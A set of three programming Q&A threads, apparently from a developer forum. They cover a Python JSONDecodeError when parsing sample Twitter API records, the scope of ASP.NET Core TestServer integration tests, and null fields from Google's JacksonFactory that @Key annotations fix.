I have been following a tutorial that I can see has been popular among users however, there is an error that persists I have found no resolution for.
I am using PyCharm and Python3.6 with this code. I appreciate the time help and help, thank you.

Code:

import json
from collections import Counter
import re
from nltk.corpus import stopwords
import string

with open(fname, 'r', newline='\r\n') as f:
    count_all = Counter()
    for line in f:

        tweet = json.loads(line)
        terms_stop = [term for term in preprocess(tweet['text']) if term not in stop]
        terms_single = set(terms_stop)

        terms_hash = [term for term in preprocess(tweet['text']) if term.startswith('#')]

The error I am getting is:

    Traceback (most recent call last):
  File "C:/Users/Sukhivinder/PycharmProjects/mscProjectOne/sentimentJSONfile.py", line 50, in <module>
    tweet = json.loads(line)
  File "C:\Program Files\Python36\lib\json\__init__.py", line 354, in loads
    return _default_decoder.decode(s)
  File "C:\Program Files\Python36\lib\json\decoder.py", line 339, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "C:\Program Files\Python36\lib\json\decoder.py", line 357, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Data:

{"created_at":"Wed Nov 15 21:37:57 +0000 2017","id":930912780831678464,"id_str":"930912780831678464","text":"Greatest Brexit speech ever? LABOUR MP\u2019s address will make your neck hairs stand up https:\/\/t.co\/5G3uEELEll","source":"\u003ca href=\"http:\/\/twitter.com\/download\/iphone\" rel=\"nofollow\"\u003eTwitter for iPhone\u003c\/a\u003e","truncated":false,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":886309819245879296,"id_str":"886309819245879296","name":"HMS","screen_name":"HMS150446","location":"England, United Kingdom","url":null,"description":"Any R\/T is not an endorsement but a way of sharing articles received on my twitter feed which I think are interesting and want to share.","translator_type":"none","protected":false,"verified":false,"followers_count":491,"friends_count":1480,"listed_count":4,"favourites_count":12236,"statuses_count":27375,"created_at":"Sat Jul 15 19:41:42 +0000 2017","utc_offset":null,"time_zone":null,"geo_enabled":false,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"F5F8FA","profile_background_image_url":"","profile_background_image_url_https":"","profile_background_tile":false,"profile_link_color":"1DA1F2","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/886676198155329538\/E8RsRDyz_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/886676198155329538\/E8RsRDyz_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/886309819245879296\/1500235099","default_profile":true,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"is_quote_status":false,"quote_count":0,"reply_count":0,"retweet_count":0,"favorite_count":0,"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/5G3uEELEll","expanded_url":"https:\/\/www.express.co.uk\/news\/politics\/880048\/Brexit-speech-Labour-MP-Peter-Shore-EU","display_url":"express.co.uk\/news\/politics\/\u2026","indices":[84,107]}],"user_mentions":[],"symbols":[]},"favorited":false,"retweeted":false,"possibly_sensitive":false,"filter_level":"low","lang":"en","timestamp_ms":"1510781877130"}
{"created_at":"Wed Nov 15 21:37:57 +0000 2017","id":930912782056345600,"id_str":"930912782056345600","text":"RT @ThatTimWalker: This is a courageous journalist and a courageous newspaper. Would Mrs May have owned up to our Russian problem if i\u2026 ","source":"\u003ca href=\"http:\/\/twitter.com\/#!\/download\/ipad\" rel=\"nofollow\"\u003eTwitter for iPad\u003c\/a\u003e","truncated":false,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":2687419047,"id_str":"2687419047","name":"Elizabeth#FBPE#StopBrexit","screen_name":"epcarruthers","location":"Edinburgh and Dormont","url":null,"description":"wife,mother, grandmother, gardener, LibDemocrat, and owner of 2 delightful cats.","translator_type":"none","protected":false,"verified":false,"followers_count":248,"friends_count":185,"listed_count":2,"favourites_count":18269,"statuses_count":29872,"created_at":"Tue Jul 08 15:24:35 +0000 2014","utc_offset":null,"time_zone":null,"geo_enabled":false,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"C0DEED","profile_background_image_url":"http:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_image_url_https":"https:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_tile":false,"profile_link_color":"1DA1F2","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/715085957146525696\/edS1d2lF_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/715085957146525696\/edS1d2lF_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/2687419047\/1510238275","default_profile":true,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"retweeted_status":{"created_at":"Tue Nov 14 23:24:41 +0000 2017","id":930577252827516928,"id_str":"930577252827516928","text":"This is a courageous journalist and a courageous newspaper. Would Mrs May have owned up to our Russian problem if i\u2026 https:\/\/t.co\/U83rrcqahM","display_text_range":[0,140],"source":"\u003ca href=\"http:\/\/twitter.com\/download\/iphone\" rel=\"nofollow\"\u003eTwitter for iPhone\u003c\/a\u003e","truncated":true,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":60606206,"id_str":"60606206","name":"Tim Walker","screen_name":"ThatTimWalker","location":"London","url":null,"description":"A point of view","translator_type":"none","protected":false,"verified":true,"followers_count":18870,"friends_count":887,"listed_count":214,"favourites_count":8392,"statuses_count":26689,"created_at":"Mon Jul 27 14:07:16 +0000 2009","utc_offset":0,"time_zone":"Casablanca","geo_enabled":true,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"C0DEED","profile_background_image_url":"http:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_image_url_https":"https:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_tile":false,"profile_link_color":"1B95E0","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/914607099220496384\/dtzHhd2V_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/914607099220496384\/dtzHhd2V_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/60606206\/1398249447","default_profile":false,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"quoted_status_id":930576544820547584,"quoted_status_id_str":"930576544820547584","quoted_status":{"created_at":"Tue Nov 14 23:21:52 +0000 2017","id":930576544820547584,"id_str":"930576544820547584","text":"Playing catch-up on Brexit-Trump-Russia? My piece from May. Read it before Cambridge Analytica (of FBI & Wikileaks\u2026 https:\/\/t.co\/pnUZeed6kq","source":"\u003ca href=\"http:\/\/twitter.com\" rel=\"nofollow\"\u003eTwitter Web Client\u003c\/a\u003e","truncated":true,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":722242009,"id_str":"722242009","name":"Carole Cadwalladr","screen_name":"carolecadwalla","location":null,"url":"https:\/\/www.theguardian.com\/profile\/carolecadwalladr","description":"Late adopter. Early giver-upper. Guardian & Observer writer.","translator_type":"none","protected":false,"verified":false,"followers_count":44945,"friends_count":1866,"listed_count":547,"favourites_count":660,"statuses_count":2899,"created_at":"Sat Jul 28 14:06:01 +0000 2012","utc_offset":3600,"time_zone":"Amsterdam","geo_enabled":false,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"C0DEED","profile_background_image_url":"http:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_image_url_https":"https:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_tile":false,"profile_link_color":"1DA1F2","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/875727729525747717\/ZAIcCXFJ_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/875727729525747717\/ZAIcCXFJ_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/722242009\/1503701353","default_profile":true,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"is_quote_status":false,"extended_tweet":{"full_text":"Playing catch-up on Brexit-Trump-Russia? My piece from May. Read it before Cambridge Analytica (of FBI & Wikileaks fame!) sues @guardian into oblivion. They're trying to shut this - me, us - down. \nhttps:\/\/t.co\/KKZUJ81NE9","display_text_range":[0,225],"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/KKZUJ81NE9","expanded_url":"https:\/\/www.theguardian.com\/technology\/2017\/may\/07\/the-great-british-brexit-robbery-hijacked-democracy?CMP=share_btn_tw","display_url":"theguardian.com\/technology\/201\u2026","indices":[202,225]}],"user_mentions":[{"screen_name":"guardian","name":"The Guardian","id":87818409,"id_str":"87818409","indices":[131,140]}],"symbols":[]}},"quote_count":169,"reply_count":113,"retweet_count":2694,"favorite_count":2551,"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/pnUZeed6kq","expanded_url":"https:\/\/twitter.com\/i\/web\/status\/930576544820547584","display_url":"twitter.com\/i\/web\/status\/9\u2026","indices":[120,143]}],"user_mentions":[],"symbols":[]},"favorited":false,"retweeted":false,"possibly_sensitive":false,"filter_level":"low","lang":"en"},"is_quote_status":true,"extended_tweet":{"full_text":"This is a courageous journalist and a courageous newspaper. Would Mrs May have owned up to our Russian problem if it hadn't got into newspapers? I wonder. https:\/\/t.co\/Qj8AkSxnIx","display_text_range":[0,154],"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/Qj8AkSxnIx","expanded_url":"https:\/\/twitter.com\/carolecadwalla\/status\/930576544820547584","display_url":"twitter.com\/carolecadwalla\u2026","indices":[155,178]}],"user_mentions":[],"symbols":[]}},"quote_count":2,"reply_count":5,"retweet_count":206,"favorite_count":293,"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/U83rrcqahM","expanded_url":"https:\/\/twitter.com\/i\/web\/status\/930577252827516928","display_url":"twitter.com\/i\/web\/status\/9\u2026","indices":[117,140]}],"user_mentions":[],"symbols":[]},"favorited":false,"retweeted":false,"possibly_sensitive":false,"filter_level":"low","lang":"en"},"quoted_status_id":930576544820547584,"quoted_status_id_str":"930576544820547584","quoted_status":{"created_at":"Tue Nov 14 23:21:52 +0000 2017","id":930576544820547584,"id_str":"930576544820547584","text":"Playing catch-up on Brexit-Trump-Russia? My piece from May. Read it before Cambridge Analytica (of FBI & Wikileaks\u2026 https:\/\/t.co\/pnUZeed6kq","source":"\u003ca href=\"http:\/\/twitter.com\" rel=\"nofollow\"\u003eTwitter Web Client\u003c\/a\u003e","truncated":true,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":722242009,"id_str":"722242009","name":"Carole Cadwalladr","screen_name":"carolecadwalla","location":null,"url":"https:\/\/www.theguardian.com\/profile\/carolecadwalladr","description":"Late adopter. Early giver-upper. Guardian & Observer writer.","translator_type":"none","protected":false,"verified":false,"followers_count":44945,"friends_count":1866,"listed_count":547,"favourites_count":660,"statuses_count":2899,"created_at":"Sat Jul 28 14:06:01 +0000 2012","utc_offset":3600,"time_zone":"Amsterdam","geo_enabled":false,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"C0DEED","profile_background_image_url":"http:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_image_url_https":"https:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_tile":false,"profile_link_color":"1DA1F2","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/875727729525747717\/ZAIcCXFJ_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/875727729525747717\/ZAIcCXFJ_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/722242009\/1503701353","default_profile":true,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"is_quote_status":false,"extended_tweet":{"full_text":"Playing catch-up on Brexit-Trump-Russia? My piece from May. Read it before Cambridge Analytica (of FBI & Wikileaks fame!) sues @guardian into oblivion. They're trying to shut this - me, us - down. \nhttps:\/\/t.co\/KKZUJ81NE9","display_text_range":[0,225],"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/KKZUJ81NE9","expanded_url":"https:\/\/www.theguardian.com\/technology\/2017\/may\/07\/the-great-british-brexit-robbery-hijacked-democracy?CMP=share_btn_tw","display_url":"theguardian.com\/technology\/201\u2026","indices":[202,225]}],"user_mentions":[{"screen_name":"guardian","name":"The Guardian","id":87818409,"id_str":"87818409","indices":[131,140]}],"symbols":[]}},"quote_count":169,"reply_count":113,"retweet_count":2694,"favorite_count":2551,"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/pnUZeed6kq","expanded_url":"https:\/\/twitter.com\/i\/web\/status\/930576544820547584","display_url":"twitter.com\/i\/web\/status\/9\u2026","indices":[120,143]}],"user_mentions":[],"symbols":[]},"favorited":false,"retweeted":false,"possibly_sensitive":false,"filter_level":"low","lang":"en"},"is_quote_status":true,"quote_count":0,"reply_count":0,"retweet_count":0,"favorite_count":0,"entities":{"hashtags":[],"urls":[],"user_mentions":[{"screen_name":"ThatTimWalker","name":"Tim Walker","id":60606206,"id_str":"60606206","indices":[3,17]}],"symbols":[]},"favorited":false,"retweeted":false,"filter_level":"low","lang":"en","timestamp_ms":"1510781877422"}

I have added the full error message in response to a user however I had a post that consisted of majority code so required further text to allow the edit to be made.

Body:
TL;DR:

For the open() function, use a U in the mode string.

What about my problem?

I changed your open() call to use Universal Newline Support.  It went...

From:

with open(fname, 'r', newline='\r\n') as f:

To:

with open(fname, 'rU') as f:

This fixed the problem in my testing.

What is Universal Newline Support?

From PEP-278:

This PEP discusses a way in which Python can support I/O on files which have a newline format that is not the native format on the platform, so that Python on each platform can read and import files with CR (Macintosh), LF (Unix) or CR LF (Windows) line endings.


问:
ASP.NET Core API Testing - What should/shouldn't we test with TestServer?
Now that we have TestServer to perform integration tests for our ASP.NET Core applications, i'm trying to figure out what we should and shouldn't be testing when building API's.

Pre-ASP.NET Core, i would generally have 2x test projects for my API:

MyApi.UnitTests => testing controller, services, utilities etc. Testing one thing, everything else mocked.

MyApi.IntegrationTests => testing database, external API's etc. Hits the real db/service.

Now, obviously we still need UnitTests. But my question is, what should we be testing with TestServer integration tests, exactly?

My initial thought was I test each API endpoint with TestServer, like this:

```<code>[Fact]
public async Task DoingAGetRequestToPeople_ShouldReturnPeopleAsJson()
{
    // Arrange.
    var client = new TestServer(new WebHostBuilder()
                                         .UseStartup<Startup>()).CreateClient();

    // Act.
    var response = await client.GetAsync("/api/people");

    // Assert.
    response.EnsureSuccessStatusCode();
    var responseString = await response.Content.ReadAsStringAsync();
    Assert.NotNull(responseString);
    var model = JsonConvert.DeserializeObject<IEnumerable<People>>(responseString);
    Assert.NotNull(model);
}
</code>```

But, since it's a full E2E integration test, will also hit the DB and hence be testing that too. Is that testing too much? Do we then need separate tests just testing the DB calls? (e.g "unit" tests, that actually hit the DB?)

Hopefully that makes sense. Basically i'm looking for answers to the following questions:

What is the scope of what we should/shouldn't be testing with TestServer.

How many test projects should we generally have for an API project? What are their responsibilities?

Thankyou!

答:
Unit tests: Unit tests should be part of your build server, if one of the unit tests break, all the build should break.

What is the scope of what we should/shouldn't be testing with TestServer?

Basically, your UI-Tests, Integration tests and E2E project and these shouldn't be part of your solution(maybe even in the different repo) as you can use any technology or any tool to implement that, It is not coupled with your project.

How many test projects should we generally have for an API project? What are their responsibilities?

The number of projects that make you feel confident with your changes and with your new build release, There is no golden rule for that. But I'm working on a project and I add Unit-tests for my API project and Integration tests to test end-points and in my case, this is enough.

Hope that I ask your question

Body:
Now that we have TestServer to perform integration tests for our ASP.NET Core applications, i'm trying to figure out what we should and shouldn't be testing when building API's.

Pre-ASP.NET Core, i would generally have 2x test projects for my API:

MyApi.UnitTests => testing controller, services, utilities etc. Testing one thing, everything else mocked.

MyApi.IntegrationTests => testing database, external API's etc. Hits the real db/service.

Now, obviously we still need UnitTests. But my question is, what should we be testing with TestServer integration tests, exactly?

My initial thought was I test each API endpoint with TestServer, like this:

[Fact]
public async Task DoingAGetRequestToPeople_ShouldReturnPeopleAsJson()
{
    // Arrange.
    var client = new TestServer(new WebHostBuilder()
                                         .UseStartup<Startup>()).CreateClient();

    // Act.
    var response = await client.GetAsync("/api/people");

    // Assert.
    response.EnsureSuccessStatusCode();
    var responseString = await response.Content.ReadAsStringAsync();
    Assert.NotNull(responseString);
    var model = JsonConvert.DeserializeObject<IEnumerable<People>>(responseString);
    Assert.NotNull(model);
}

But, since it's a full E2E integration test, will also hit the DB and hence be testing that too. Is that testing too much? Do we then need separate tests just testing the DB calls? (e.g "unit" tests, that actually hit the DB?)

Hopefully that makes sense. Basically i'm looking for answers to the following questions:

What is the scope of what we should/shouldn't be testing with TestServer.

How many test projects should we generally have for an API project? What are their responsibilities?

Thankyou!


问:
Google JsonFactory (JacksonFactory) fromString not working - all fields are null
I have an object:

```<code>@JsonIgnoreProperties(ignoreUnknown = true)
public class OauthPrincipal {
    @JsonProperty
    String id;

    @JsonProperty
    String name;

    @JsonProperty
    String email;

    public OauthPrincipal() {
    }

    public String getId() {
        return id;
    }

    public void setId(String id) {
        this.id = id;
    }
    ... other [get|set]ters
}
</code>```

Which works when I do:

```<code>final String jsonIdentity = request.execute().parseAsString();
debug(jsonIdentity);
ObjectMapper om = new ObjectMapper();
OauthPrincipal o;
o = om.readValue(jsonIdentity, OauthPrincipal.class);
return o;
</code>```

But when I use JsonFactory (Which is a new JacksonFactory() all fields are null for the same JSON

jf.fromString(json, OauthPrincipal.class

JSON from log is :

```<code>07:31:44,040 ERROR [stderr] (default task-6)  {
07:31:44,040 ERROR [stderr] (default task-6)  "id": "11",
07:31:44,040 ERROR [stderr] (default task-6)  "email": "example@gmail.com",
07:31:44,040 ERROR [stderr] (default task-6)  "verified_email": true,
07:31:44,040 ERROR [stderr] (default task-6)  "name": "mike",
07:31:44,040 ERROR [stderr] (default task-6)  "given_name": "mike",
07:31:44,040 ERROR [stderr] (default task-6)  "family_name": "b",
07:31:44,040 ERROR [stderr] (default task-6)  "link": "https://plus.google.com/xyz",
07:31:44,040 ERROR [stderr] (default task-6)  "picture": "https://lh3.googleusercontent.com/snipped/photo.jpg",
07:31:44,040 ERROR [stderr] (default task-6)  "locale": "en"
07:31:44,040 ERROR [stderr] (default task-6) }
</code>```

答:
Google's Client Library JSON shows @Key notation usage:

```<code>public class Item {
  @Key
  public String id;
  @Key
  public String value;
}
</code>```

I had the same issue with JsonFactory ( JacksonFactory underneath ), using @Key notation in my class definition solved it.

Body:
I have an object:

@JsonIgnoreProperties(ignoreUnknown = true)
public class OauthPrincipal {
    @JsonProperty
    String id;

    @JsonProperty
    String name;

    @JsonProperty
    String email;

    public OauthPrincipal() {
    }

    public String getId() {
        return id;
    }

    public void setId(String id) {
        this.id = id;
    }
    ... other [get|set]ters
}

Which works when I do:

final String jsonIdentity = request.execute().parseAsString();
debug(jsonIdentity);
ObjectMapper om = new ObjectMapper();
OauthPrincipal o;
o = om.readValue(jsonIdentity, OauthPrincipal.class);
return o;

But when I use JsonFactory (Which is a new JacksonFactory() all fields are null for the same JSON

jf.fromString(json, OauthPrincipal.class

JSON from log is :

07:31:44,040 ERROR [stderr] (default task-6)  {
07:31:44,040 ERROR [stderr] (default task-6)  "id": "11",
07:31:44,040 ERROR [stderr] (default task-6)  "email": "example@gmail.com",
07:31:44,040 ERROR [stderr] (default task-6)  "verified_email": true,
07:31:44,040 ERROR [stderr] (default task-6)  "name": "mike",
07:31:44,040 ERROR [stderr] (default task-6)  "given_name": "mike",
07:31:44,040 ERROR [stderr] (default task-6)  "family_name": "b",
07:31:44,040 ERROR [stderr] (default task-6)  "link": "https://plus.google.com/xyz",
07:31:44,040 ERROR [stderr] (default task-6)  "picture": "https://lh3.googleusercontent.com/snipped/photo.jpg",
07:31:44,040 ERROR [stderr] (default task-6)  "locale": "en"
07:31:44,040 ERROR [stderr] (default task-6) }

Body:
Google's Client Library JSON shows @Key notation usage:

public class Item {
  @Key
  public String id;
  @Key
  public String value;
}

I had the same issue with JsonFactory ( JacksonFactory underneath ), using @Key notation in my class definition solved it.